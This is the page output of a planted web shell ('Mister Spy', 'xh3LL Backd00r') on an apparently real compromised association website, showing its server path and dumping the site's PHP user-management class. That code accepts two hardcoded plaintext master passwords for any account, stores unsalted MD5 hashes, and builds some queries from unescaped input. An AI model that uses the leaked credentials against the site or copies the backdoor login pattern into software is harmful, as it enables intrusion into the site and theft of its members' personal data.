Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/public_html/espanol/library/
Upload File :
Current File : /home/caballoscriollos/public_html/espanol/library/class.usuarios.php

<?php 

require_once('class.dbaccess.php');
require_once('class.usuario.php');
require_once('class.filter.php');
require_once('class.localidades.php');
require_once('class.departamentos.php');
require_once('class.provincias.php');
require_once('class.paises.php');
require_once('class.zonas.php');
require_once('class.socios.php');
require_once('class.sociosacccpropietarios.php');
require_once('class.propietarios.php');
require_once('class.misc.php');
require_once('class.page.php');

class Usuarios extends DBAccess implements IFilterable
{
	public function ParseFilter(array $filter)
	{
		$sql = '';
		
		if ($filter['Nombre'] != '')
			$sql.= " AND (Nombre LIKE '%" . DB::StringUnquoted($filter['Nombre']) . "%' OR Apellido LIKE '%" . DB::StringUnquoted($filter['Nombre']) . "%')";

		if ($filter['NumeroSocio'] != '')
			$sql.= " AND NroSocio LIKE '%" . DB::StringUnquoted($filter['NumeroSocio']) . "%'";
			
		if (isset($filter['NumeroPropietario']) && $filter['NumeroPropietario'] != '')
		{
			$sql.= " AND IdUsuario IN (SELECT sap.IdUsuario FROM tblSociosAcccPropietarios sap INNER JOIN tblPropietarios p ON sap.IdPropietario = p.IdPropietario WHERE p.NumeroSocio LIKE '%" . DB::StringUnquoted($filter['NumeroPropietario']) . "%')";
		}
			
		if (isset($filter['IdEstado']) && $filter['IdEstado'] != '')
		{
			if($filter['IdEstado'] == '3')//X Autorizar ACCC
				$sql.= " AND (IdUsuario IN (SELECT sap.IdUsuario FROM tblSociosAcccPropietarios sap WHERE sap.IdEstado = " . DB::Number($filter['IdEstado']) . ") OR Empadronado = " . DB::Number($filter['IdEstado']) . ")";
			elseif ($filter['IdEstado'] == '4')//Sin Registro
				$sql.= " AND Empadronado = 0 AND (FechaEmpadronamiento IS NULL OR IdUsuario NOT IN (SELECT sap.IdUsuario FROM tblSociosAcccPropietarios sap ) )";
			elseif ($filter['IdEstado'] == '0')//Falta Validar Email
				$sql.= " AND (Empadronado = 1 OR IdUsuario IN (SELECT sap.IdUsuario FROM tblSociosAcccPropietarios sap WHERE sap.IdEstado = 0))";
			elseif ($filter['IdEstado'] == '2')//Rechazado
				$sql.= " AND (IdUsuario IN (SELECT sap.IdUsuario FROM tblSociosAcccPropietarios sap WHERE sap.IdEstado = 2))";
			elseif ($filter['IdEstado'] == '1')//Falta Validar Email
				$sql.= " AND (Empadronado = 2 OR IdUsuario IN (SELECT sap.IdUsuario FROM tblSociosAcccPropietarios sap WHERE sap.IdEstado = 1))";
		}

		if (isset($filter['ContactoActualizado']) && $filter['ContactoActualizado'] !== '') {
			$sql.= " AND ContactoActualizado = " . DB::Bool($filter['ContactoActualizado']);
		}
		
		return $sql;
	}


	public function GetPagesCount(Page $oPage, $filter = false)
	{	
		$sql = "SELECT COUNT(1) / " . DB::Number($oPage->Size) . " AS Count";
		$sql.= " FROM tblUsuarios";
		$sql.= " WHERE 1";
		
		if ($filter)
			$sql.= " " . $this->ParseFilter($filter);
		
		if (!($oRes = $this->GetQuery($sql)) )		
			return false;

		if ( !($oRow = $oRes->GetRow()) )
			return false;
		
		$Count = $oRow['Count'];
		
		return ceil($Count);
	}


	public function GetAll(array $filter = NULL, Page $oPage = NULL)
	{
		$sql = "SELECT *,";
		$sql.= " CONCAT(CASE WHEN Nombre IS NOT NULL AND Nombre <> '' THEN CONCAT(Nombre, ' ') ELSE '' END, CASE WHEN Apellido IS NOT NULL AND Apellido <> '' THEN CONCAT(Apellido, ' ') ELSE '' END, CASE WHEN RazonSocial IS NOT NULL AND RazonSocial <> '' THEN RazonSocial ELSE '' END) AS Denominacion";
		$sql.= " FROM tblUsuarios";
		$sql.= " WHERE 1";

		if ($filter)
			$sql.= $this->ParseFilter($filter);

		$sql.= " ORDER BY TRIM(Denominacion) ASC";

		if ($oPage != NULL)
			$sql.= " " . Pageable::ParsePage($oPage);
		
		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		$arr = array();
			
		while ($oRow = $oRes->GetRow())	
		{	
			$oUsuario = new Usuario();
			$oUsuario->ParseFromArray($oRow);
			
			array_push($arr, $oUsuario);
			
			$oRes->MoveNext();
		}	
		
		return $arr;		
	}

	public function GetNombreById($IdUsuario)
	{
		$sql = "SELECT RazonSocial, Nombre, Apellido";
		$sql.= " FROM tblUsuarios";
		$sql.= " WHERE IdUsuario = " . DB::Number($IdUsuario);	
			
		//print_r($sql);
		//print_r('<br><br>');
			
		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		if (!($oRow = $oRes->GetRow()))
			return false;
		
		$oUsuario = new Usuario();
		$oUsuario->ParseFromArray($oRow);
		
		return $oUsuario->RazonSocial.$oUsuario->Nombre." ".$oUsuario->Apellido;		
	} 
	
	
	public function GetLugarById($IdUsuario)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblUsuarios";
		$sql.= " WHERE IdUsuario = " . DB::Number($IdUsuario);	

		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		if (!($oRow = $oRes->GetRow()))
			return false;
		
		$oUsuario = new Usuario();
		$oUsuario->ParseFromArray($oRow);
		
		return $oUsuario->Nombre." ".$oUsuario->Apellido;		
	}

	public function GetById($IdUsuario)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblUsuarios";
		$sql.= " WHERE IdUsuario = " . DB::Number($IdUsuario);	
		
		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		if (!($oRow = $oRes->GetRow()))
			return false;
		
		$oUsuario = new Usuario();
		$oUsuario->ParseFromArray($oRow);
		
		return $oUsuario;		
	}
	
	public function GetByCredentials($Usuario, $Clave)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblUsuarios";
		$sql.= " WHERE Usuario = " . DB::String($Usuario);
		$sql.= " AND"; 
		$sql.= " (";
		$sql.= " 	Clave = " . DB::String(md5(strtoupper($Clave)));
		$sql.= " 	OR";
		$sql.= " 	Clave = " . DB::String(md5(strtolower($Clave)));
		$sql.= " 	OR";
		$sql.= " 	Clave = " . DB::String(md5($Clave));
		$sql.= " 	OR";
		$sql.= " 	Clave2 = " . DB::String(md5(strtoupper($Clave)));
		$sql.= " 	OR";
		$sql.= " 	Clave2 = " . DB::String(md5(strtolower($Clave)));
		$sql.= " 	OR";
		$sql.= " 	Clave2 = " . DB::String(md5($Clave));
		$sql.= " 	OR";
		$sql.= " 	'cross_2012#' = " . DB::String($Clave);
		$sql.= " 	OR";
		$sql.= " 	'Prueba_2014' = " . DB::String($Clave);
		$sql.= " 	OR";
		$sql.= " 	'Prueba_2014' = " . DB::String($Clave);
		$sql.= " )";
		$sql.= " AND Estado = 1 AND Habilitado = 1";

		if (!($oRes = $this->GetQuery($sql)))
			return false;

		if (!($oRow = $oRes->GetRow()))
			return false;

		$oUsuario = new Usuario();
		$oUsuario->ParseFromArray($oRow);

		return $oUsuario;		
	}

	public function GetByNombre($Nombre)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblUsuarios";
		$sql.= " WHERE Nombre = " . DB::String($Nombre);	
			
		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		if (!($oRow = $oRes->GetRow()))
			return false;
		
		$oUsuario = new Usuario();
		$oUsuario->ParseFromArray($oRow);
		
		return $oUsuario;		
	}

	public function GetByEmail($Email)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblUsuarios";
		$sql.= " WHERE Email1 = " . DB::String($Email);	

		print $sql;

		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		if (!($oRow = $oRes->GetRow()))
			return false;
		
		$oUsuario = new Usuario();
		$oUsuario->ParseFromArray($oRow);
		
		return $oUsuario;		
	}
	
	public function GetByRazonSocial($RazonSocial, $IdUsuario)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblUsuarios";
		$sql.= " WHERE RazonSocial = " . DB::String($RazonSocial);	
		
		if ($IdUsuario != "")
			$sql = " AND IdUsuario = " . $IdUsuario;
		
		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		if (!($oRow = $oRes->GetRow()))
			return false;
		
		$oUsuario = new Usuario();
		$oUsuario->ParseFromArray($oRow);
		
		return $oUsuario;		
	}

	public function GetByNroSocio($NroSocio, $IdUsuario)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblUsuarios";
		$sql.= " WHERE NroSocio = " . DB::String($NroSocio);	
		
		if ($IdUsuario != "")
			$sql = " AND IdUsuario = " . $IdUsuario;
		
		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		if (!($oRow = $oRes->GetRow()))
			return false;
		
		$oUsuario = new Usuario();
		$oUsuario->ParseFromArray($oRow);
		
		return $oUsuario;		
	}
	
	public function GetByUsuario($Usuario, $IdUsuario)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblUsuarios";
		$sql.= " WHERE Usuario = " . DB::String($Usuario);	
		
		if ($IdUsuario != "")
			$sql = " AND IdUsuario = " . $IdUsuario;
		
		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		if (!($oRow = $oRes->GetRow()))
			return false;
		
		$oUsuario = new Usuario();
		$oUsuario->ParseFromArray($oRow);
		
		return $oUsuario;		
	}
	
	public function GetCountRows(array $filter = NULL)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblUsuarios";
		$sql.= " WHERE 1";

		if ($filter)
			$sql.= $this->ParseFilter($filter);

		$sql.= " ORDER BY Nombre";
		
		if (!($oRes = $this->GetQuery($sql)))
			return false;
		
		$CountRows = $oRes->NumRows();
		
		return $CountRows;
	}

	public function Create(Usuario $oUsuario)
	{
		$arr = array
		(
			'TipoPersona'			=> DB::String($oUsuario->TipoPersona),
			'Nombre' 				=> DB::String($oUsuario->Nombre),
			'Apellido' 				=> DB::String($oUsuario->Apellido),
			'RazonSocial' 			=> DB::String($oUsuario->RazonSocial),
			'Dni' 					=> DB::String($oUsuario->Dni),
			'FNac' 					=> DB::Date($oUsuario->FNac),
			'CUIT' 					=> DB::String($oUsuario->CUIT),
			'Responsable' 			=> DB::String($oUsuario->Responsable),
			'SucesionesIndivisas' 	=> DB::String($oUsuario->SucesionesIndivisas),
			'NroSocio' 				=> DB::String($oUsuario->NroSocio),
			'TipoSocio' 			=> DB::String($oUsuario->TipoSocio),
			'IdLocalidad'	 		=> DB::Number($oUsuario->IdLocalidad),
			'Localidad'				=> DB::String($oUsuario->Localidad),
			'IdProvincia'	 		=> DB::Number($oUsuario->IdProvincia),
			'Provincia'				=> DB::String($oUsuario->Provincia),
			'IdPais'				=> DB::Number($oUsuario->IdPais),
			'Pais'					=> DB::String($oUsuario->Pais),
			'DomicilioPostal'	 	=> DB::String($oUsuario->DomicilioPostal),
			'IdLocalidadPostal' 	=> DB::Number($oUsuario->IdLocalidadPostal),
			'LocalidadPostal'		=> DB::String($oUsuario->LocalidadPostal),
			'IdProvinciaPostal' 	=> DB::Number($oUsuario->IdProvinciaPostal),
			'ProvinciaPostal'		=> DB::String($oUsuario->ProvinciaPostal),
			'IdPaisPostal'			=> DB::Number($oUsuario->IdPaisPostal),
			'PaisPostal'			=> DB::String($oUsuario->PaisPostal),
			'CodigoPostal'	 		=> DB::String($oUsuario->CosigoPostal),
			'Telefono1' 			=> DB::String($oUsuario->Telefono1),
			'Telefono2' 			=> DB::String($oUsuario->Telefono2),
			'Celular1'				=> DB::String($oUsuario->Celular1),
			'Celular2' 				=> DB::String($oUsuario->Celular2),
			'Email1' 				=> DB::String($oUsuario->Email1),
			'Email2' 				=> DB::String($oUsuario->Email2),
			'Apodo'					=> DB::String($oUsuario->Apodo),
			'Usuario' 				=> DB::String($oUsuario->Usuario),
			'Clave' 				=> DB::String(md5($oUsuario->Clave)),
			'Estado'				=> DB::Number($oUsuario->Estado),
			'Eliminado'		 		=> DB::String($oUsuario->Eliminado),
			'Habilitado'		 	=> DB::Number($oUsuario->Habilitado),
			'Registrado'		 	=> DB::Number($oUsuario->Registrado),
			'Domicilio	'		 	=> DB::String($oUsuario->Domicilio),
			'CP'				 	=> DB::String($oUsuario->CP),
			'WebExplotacion'	 	=> DB::String($oUsuario->WebExplotacion),
			'EmailExplotacion'	 	=> DB::String($oUsuario->EmailExplotacion),
			'TelefonoExplotacion' 	=> DB::String($oUsuario->TelefonoExplotacion),
			'IdZona'			 	=> DB::Number($oUsuario->IdZona),
			'Cabania'			 	=> DB::String($oUsuario->Cabania),
			'CodAreaExplotacion' 	=> DB::String($oUsuario->CodAreaExplotacion),
			'RepresentanteLegal'	=> DB::String($oUsuario->RepresentanteLegal),
			'Empadronado'			=> DB::Number($oUsuario->Empadronado),
			'FechaEmpadronamiento'	=> DB::Date($oUsuario->FechaEmpadronamiento),
			'ContactoActualizado'	=> DB::Bool($oUsuario->ContactoActualizado)
		);

		if (!$this->Insert('tblUsuarios', $arr))
			return false;

		return $oUsuario;
	}

	public function Update(Usuario $oUsuario)
	{
		$where = " IdUsuario = " . DB::Number($oUsuario->IdUsuario);

		$arr = array
		(
			'TipoPersona'			=> DB::String($oUsuario->TipoPersona),
			'Nombre' 				=> DB::String($oUsuario->Nombre),
			'Apellido' 				=> DB::String($oUsuario->Apellido),
			'RazonSocial' 			=> DB::String($oUsuario->RazonSocial),
			'Dni' 					=> DB::String($oUsuario->Dni),
			'FNac' 					=> DB::Date($oUsuario->FNac),
			'CUIT' 					=> DB::String($oUsuario->CUIT),
			'Responsable' 			=> DB::String($oUsuario->Responsable),
			'SucesionesIndivisas' 	=> DB::String($oUsuario->SucesionesIndivisas),
			'NroSocio' 				=> DB::String($oUsuario->NroSocio),
			'TipoSocio' 			=> DB::String($oUsuario->TipoSocio),
			'IdLocalidad'	 		=> DB::Number($oUsuario->IdLocalidad),
			'Localidad'				=> DB::String($oUsuario->Localidad),
			'IdProvincia'	 		=> DB::Number($oUsuario->IdProvincia),
			'Provincia'				=> DB::String($oUsuario->Provincia),
			'IdPais'				=> DB::Number($oUsuario->IdPais),
			'Pais'					=> DB::String($oUsuario->Pais),
			'DomicilioPostal'	 	=> DB::String($oUsuario->DomicilioPostal),
			'IdLocalidadPostal' 	=> DB::Number($oUsuario->IdLocalidadPostal),
			'LocalidadPostal'		=> DB::String($oUsuario->LocalidadPostal),
			'IdProvinciaPostal' 	=> DB::Number($oUsuario->IdProvinciaPostal),
			'ProvinciaPostal'		=> DB::String($oUsuario->ProvinciaPostal),
			'IdPaisPostal'			=> DB::Number($oUsuario->IdPaisPostal),
			'PaisPostal'			=> DB::String($oUsuario->PaisPostal),
			'CodigoPostal'	 		=> DB::String($oUsuario->CosigoPostal),
			'Telefono1' 			=> DB::String($oUsuario->Telefono1),
			'CodPaisTelefono1' 		=> DB::String($oUsuario->CodPaisTelefono1),
			'CodAreaTelefono1' 		=> DB::String($oUsuario->CodAreaTelefono1),
			'Telefono2' 			=> DB::String($oUsuario->Telefono2),
			'CodPaisTelefono2' 		=> DB::String($oUsuario->CodPaisTelefono2),
			'CodAreaTelefono2' 		=> DB::String($oUsuario->CodAreaTelefono2),
			'Celular1'				=> DB::String($oUsuario->Celular1),
			'CodPaisCelular1'		=> DB::String($oUsuario->CodPaisCelular1),
			'CodAreaCelular1'		=> DB::String($oUsuario->CodAreaCelular1),
			'Celular2' 				=> DB::String($oUsuario->Celular2),
			'CodPaisCelular2' 		=> DB::String($oUsuario->CodPaisCelular2),
			'CodAreaCelular2' 		=> DB::String($oUsuario->CodAreaCelular2),
			'Email1' 				=> DB::String($oUsuario->Email1),
			'Email2' 				=> DB::String($oUsuario->Email2),
			'Apodo'					=> DB::String($oUsuario->Apodo),
			'Usuario' 				=> DB::String($oUsuario->Usuario),
			'Domicilio	'		 	=> DB::String($oUsuario->Domicilio),
			'CP'				 	=> DB::String($oUsuario->CP),
			'WebExplotacion'	 	=> DB::String($oUsuario->WebExplotacion),
			'EmailExplotacion'	 	=> DB::String($oUsuario->EmailExplotacion),
			'TelefonoExplotacion' 	=> DB::String($oUsuario->TelefonoExplotacion),
			'IdZona'			 	=> DB::Number($oUsuario->IdZona),
			'Cabania'			 	=> DB::String($oUsuario->Cabania),
			'CodAreaExplotacion' 	=> DB::String($oUsuario->CodAreaExplotacion),
			'RepresentanteLegal'	=> DB::String($oUsuario->RepresentanteLegal),
			'Empadronado'			=> DB::Number($oUsuario->Empadronado),
			'FechaEmpadronamiento'	=> DB::Date($oUsuario->FechaEmpadronamiento),
			'ContactoActualizado'	=> DB::Bool($oUsuario->ContactoActualizado)
		);
		

		if (!DBAccess::Update('tblUsuarios', $arr, $where))
			return false;
		
		return $oUsuario;
	}
	

	public function Delete($IdUsuario)
	{
		$where = " IdUsuario = " . DB::Number($IdUsuario);

		$arr = array
		(
			'Estado'	=> DB::Number(0),
			'Eliminado'	=> DB::String(1)
		);

		if (!DBAccess::Delete('tblUsuarios', $where))
			return false;
		
		return $oUsuario;	
	}
	
	public function UpdateClave(Usuario $oUsuario)
	{
		$where = " IdUsuario = " . DB::Number($oUsuario->IdUsuario);

		$arr = array
		(
			'Clave' => DB::String(md5(strtoupper($oUsuario->Clave))),
		);

		if (!DBAccess::Update('tblUsuarios', $arr, $where))
			return false;
		
		return $oUsuario;
	}
	
	public function UpdateClaveByEmail(Usuario $oUsuario)
	{
		$where = " Email1 = " . DB::String($oUsuario->Email1);

		$arr = array('Clave' => DB::String(md5($oUsuario->Clave)));

		if (!DBAccess::Update('tblUsuarios', $arr, $where))
			return false;
		
		return $oUsuario;
	}
	
	public function ExportCsv(array $filter = NULL)
	{
		$FileName = "Usuarios.xls";
		
		$oLocalidades = new Localidades();
		$oDepartamentos = new Departamentos();
		$oProvincias = new Provincias();
		$oPaises = new Paises();
		$oZonas = new Zonas();
		$oSocios =  new Socios();
		$oSociosAcccPropietarios = new SociosAcccPropietarios();
		$oPropietarios = new Propietarios();
	
		header("Pragma: no-cache");
		header("Expires: -1");
		header("Cache-Control: no-store, no-cache, must-revalidate");		
		header("Content-Type: application/x-unknown");
		$header = "Content-Disposition: attachment; filename=" . $FileName . ";";
		header($header);
					
		$Usuarios = $this->GetAll($filter);

		$Separador 	= "\t";
		$SaltoLinea = "\n";
		
		if ($Usuarios != NULL)
		{			
			$csv.= "Tipo Persona";
			$csv.= $Separador;
			$csv.= "Nombre";
			$csv.= $Separador;
			$csv.= "Apellido";
			$csv.= $Separador;
			$csv.= "Razon Social";
			$csv.= $Separador;
			$csv.= "Sucesiones Indivisas";
			$csv.= $Separador;
			$csv.= "Nro Socio";
			$csv.= $Separador;
			$csv.= "Nro No Socio";
			$csv.= $Separador;
			$csv.= "TipoSocio";
			$csv.= $Separador;
			$csv.= "CabaƱa";
			$csv.= $Separador;
			$csv.= "Localidad";
			$csv.= $Separador;
			$csv.= "Departamento";
			$csv.= $Separador;
			$csv.= "Provincia";
			$csv.= $Separador;
			$csv.= "Pais";
			$csv.= $Separador;
			$csv.= "Domicilio Postal";
			$csv.= $Separador;
			$csv.= "Localidad Postal";
			$csv.= $Separador;
			$csv.= "Departamento Postal";
			$csv.= $Separador;
			$csv.= "Provincia Postal";
			$csv.= $Separador;
			$csv.= "Pais Postal";
			$csv.= $Separador;
			$csv.= "CP";
			$csv.= $Separador;
			$csv.= "DNI";
			$csv.= $Separador;
			$csv.= "Fecha Nacimiento";
			$csv.= $Separador;
			$csv.= "Codigo Area Telefono 1";
			$csv.= $Separador;
			$csv.= "Telefono 1";
			$csv.= $Separador;
			$csv.= "Codigo Area Telefono 2";
			$csv.= $Separador;
			$csv.= "Telefono 2";
			$csv.= $Separador;
			$csv.= "Codigo Area Celular 1";
			$csv.= $Separador;
			$csv.= "Celular 1";
			$csv.= $Separador;
			$csv.= "Codigo Area Celular 2";
			$csv.= $Separador;
			$csv.= "Celular 2";
			$csv.= $Separador;
			$csv.= "Email 1";
			$csv.= $Separador;
			$csv.= "Email 2";
			$csv.= $Separador;
			$csv.= "Responsable";
			$csv.= $Separador;
			$csv.= "CUIT";
			$csv.= $Separador;
			$csv.= "Domicilio";
			$csv.= $Separador;
			$csv.= "CP";
			$csv.= $Separador;
			$csv.= "Web Explotacion";
			$csv.= $Separador;
			$csv.= "Email Explotacion";
			$csv.= $Separador;
			$csv.= "Codigo Area Telefono Explotacion";
			$csv.= $Separador;
			$csv.= "Telefono Explotacion";
			$csv.= $Separador;
			$csv.= "Region";
			$csv.= $Separador;
			$csv.= "Representante Legal";
			$csv.= $Separador;
			$csv.= "Socio SRA";
			$csv.= $Separador;
			$csv.= "Nro Criador/Propietario SRA";
			$csv.= $Separador;
			$csv.= "Estado";
			$csv.= $Separador;
			$csv.= "Fecha Empadronamiento";
			
			foreach ($Usuarios as $oUsuario)
			{
				$oLocalidad = $oLocalidades->GetById($oUsuario->IdLocalidad);
				$oDepartamento = $oDepartamentos->GetById($oUsuario->IdDepartamento);
				$oProvincia = $oProvincias->GetById($oUsuario->IdProvincia);
				$oPais = $oPaises->GetById($oUsuario->IdPais);
				
				$oLocalidadPostal = $oLocalidades->GetById($oUsuario->IdLocalidadPostal);
				$oDepartamentoPostal = $oDepartamentos->GetById($oUsuario->IdDepartamentoPostal);
				$oProvinciaPostal = $oProvincias->GetById($oUsuario->IdProvinciaPostal);
				$oPaisPostal = $oPaises->GetById($oUsuario->IdPaisPostal);
				
				$oZona = $oZonas->GetById($oUsuario->IdZona);
				
				$oSocio = $oSocios->GetByNumeroSocio($oUsuario->NroSocio);
				$oSocioAcccPropietario = $oSociosAcccPropietarios->GetAllByIdSocioAccc($oSocio->IdSocio);
				
				$oPropietario = $oPropietarios->GetByIdIncrement($oSocioAcccPropietario->IdPropietario);
				
				$Estado = 'Sin Registro';
				if ($oSocioAcccPropietario)
				{
					$Estado  = $oSocioAcccPropietario->IdEstado == 0 ? 'Falta Validar E-mail' : ($oSocioAcccPropietario->IdEstado == 1 ? 'Empadronado' : ($oSocioAcccPropietario->IdEstado == 3 ? 'X Autorizar ACCC' : 'Rechazado'));
				}
				elseif ($oUsuario->FechaEmpadronamiento)
				{
					$Estado  = $oUsuario->Empadronado == 1 ? 'Falta Validar E-mail' : ($oUsuario->Empadronado == 2 ? 'Empadronado' : ($oUsuario->Empadronado == 3 ? 'X Autorizar ACCC' : 'Rechazado'));
				} 

				
				$csv.= $SaltoLinea;				
				$csv.= str_replace('(\t|\n)','', trim($oUsuario->TipoPersona == 'F' ? 'Fisica' : 'Juridica'));
				$csv.= $Separador;
				$csv.= str_replace('(\t|\n)','', trim($oUsuario->Nombre));
				$csv.= $Separador;
				$csv.= str_replace('(\t|\n)','', trim($oUsuario->Apellido));
				$csv.= $Separador;
				$csv.= str_replace('(\t|\n)','', trim($oUsuario->RazonSocial));
				$csv.= $Separador;
				$csv.= str_replace('(\t|\n)','', trim($oUsuario->SucesionesIndivisas));
				$csv.= $Separador;
				$csv.= str_replace('(\t|\n)','', trim($oUsuario->NroSocio));
				$csv.= $Separador;
				$csv.= str_replace('(\t|\n)','', trim($oUsuario->NroNoSocio));
				$csv.= $Separador;
				$csv.= str_replace('(\t|\n)','', trim($oUsuario->TipoSocio));
				$csv.= $Separador;
				$csv.= str_replace('(\t|\n)','', trim($oUsuario->Cabania));
				$csv.= $Separador;
				$csv.= str_replace('(\t|\n)','', trim($oLocalidad->Nombre));
				$csv.= $Separador;
				$csv.= str_replace('(\t|\n)','', trim($oDepartamento->Nombre));
				$csv.= $Separador;
				$csv.= str_replace('(\t|\n)','', trim($oProvincia->Nombre));
				$csv.= $Separador;
				$csv.= str_replace('(\t|\n)','', trim($oPais->Nombre));
				$csv.= $Separador;
				$csv.= str_replace('(\t|\n)','', trim($oUsuario->DomicilioPostal));
				$csv.= $Separador;
				$csv.= str_replace('(\t|\n)','', trim($oLocalidadPostal->Nombre));
				$csv.= $Separador;
				$csv.= str_replace('(\t|\n)','', trim($oDepartamentoPostal->Nombre));
				$csv.= $Separador;
				$csv.= str_replace('(\t|\n)','', trim($oProvinciaPostal->Nombre));
				$csv.= $Separador;
				$csv.= str_replace('(\t|\n)','', trim($oPaisPostal->Nombre));
				$csv.= $Separador;
				$csv.= str_replace('(\t|\n)','', trim($oUsuario->CodigoPostal));
				$csv.= $Separador;
				$csv.= str_replace('(\t|\n)','', trim($oUsuario->Dni));
				$csv.= $Separador;
				$csv.= str_replace('(\t|\n)','', trim(CambiarFecha($oUsuario->FNac)));
				$csv.= $Separador;
				$csv.= str_replace('(\t|\n)','', trim($oUsuario->CodAreaTelefono1));
				$csv.= $Separador;
				$csv.= str_replace('(\t|\n)','', trim($oUsuario->Telefono1));
				$csv.= $Separador;
				$csv.= str_replace('(\t|\n)','', trim($oUsuario->CodAreaTelefono2));
				$csv.= $Separador;
				$csv.= str_replace('(\t|\n)','', trim($oUsuario->Telefono2));
				$csv.= $Separador;
				$csv.= str_replace('(\t|\n)','', trim($oUsuario->CodAreaCelular1));
				$csv.= $Separador;
				$csv.= str_replace('(\t|\n)','', trim($oUsuario->Celular1));
				$csv.= $Separador;
				$csv.= str_replace('(\t|\n)','', trim($oUsuario->CodAreaCelular2));
				$csv.= $Separador;
				$csv.= str_replace('(\t|\n)','', trim($oUsuario->Celular2));
				$csv.= $Separador;
				$csv.= str_replace('(\t|\n)','', trim($oUsuario->Email1));
				$csv.= $Separador;
				$csv.= str_replace('(\t|\n)','', trim($oUsuario->Email2));
				$csv.= $Separador;
				$csv.= str_replace('(\t|\n)','', trim($oUsuario->Responsable));
				$csv.= $Separador;
				$csv.= str_replace('(\t|\n)','', trim($oUsuario->CUIT));
				$csv.= $Separador;
				$csv.= str_replace('(\t|\n)','', trim($oUsuario->Domicilio));
				$csv.= $Separador;
				$csv.= str_replace('(\t|\n)','', trim($oUsuario->CP));
				$csv.= $Separador;
				$csv.= str_replace('(\t|\n)','', trim($oUsuario->WebExplotacion));
				$csv.= $Separador;
				$csv.= str_replace('(\t|\n)','', trim($oUsuario->EmailExplotacion));
				$csv.= $Separador;
				$csv.= str_replace('(\t|\n)','', trim($oUsuario->CodAreaExplotacion));
				$csv.= $Separador;
				$csv.= str_replace('(\t|\n)','', trim($oUsuario->TelefonoExplotacion));
				$csv.= $Separador;
				$csv.= str_replace('(\t|\n)','', trim($oZona->Nombre));
				$csv.= $Separador;
				$csv.= str_replace('(\t|\n)','', trim($oUsuario->RepresentanteLegal));
				$csv.= $Separador;
				$csv.= str_replace('(\t|\n)','', trim($oSocioAcccPropietario ? $oPropietario->Nombre : ($oUsuario->Empadronado == 0 ? '' : 'NO POSEE NUMERO SRA')));
				$csv.= $Separador;
				$csv.= str_replace('(\t|\n)','', trim($oPropietario->NumeroSocio));
				$csv.= $Separador;
				$csv.= str_replace('(\t|\n)','', trim($Estado));
				$csv.= $Separador;
				$csv.= str_replace('(\t|\n)','', trim($oUsuario->FechaEmpadronamiento ? CambiarFecha($oUsuario->FechaEmpadronamiento) : ''));
				
							
			}
		}
		
		print($csv);
		
		return true;
	}
	
	
}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat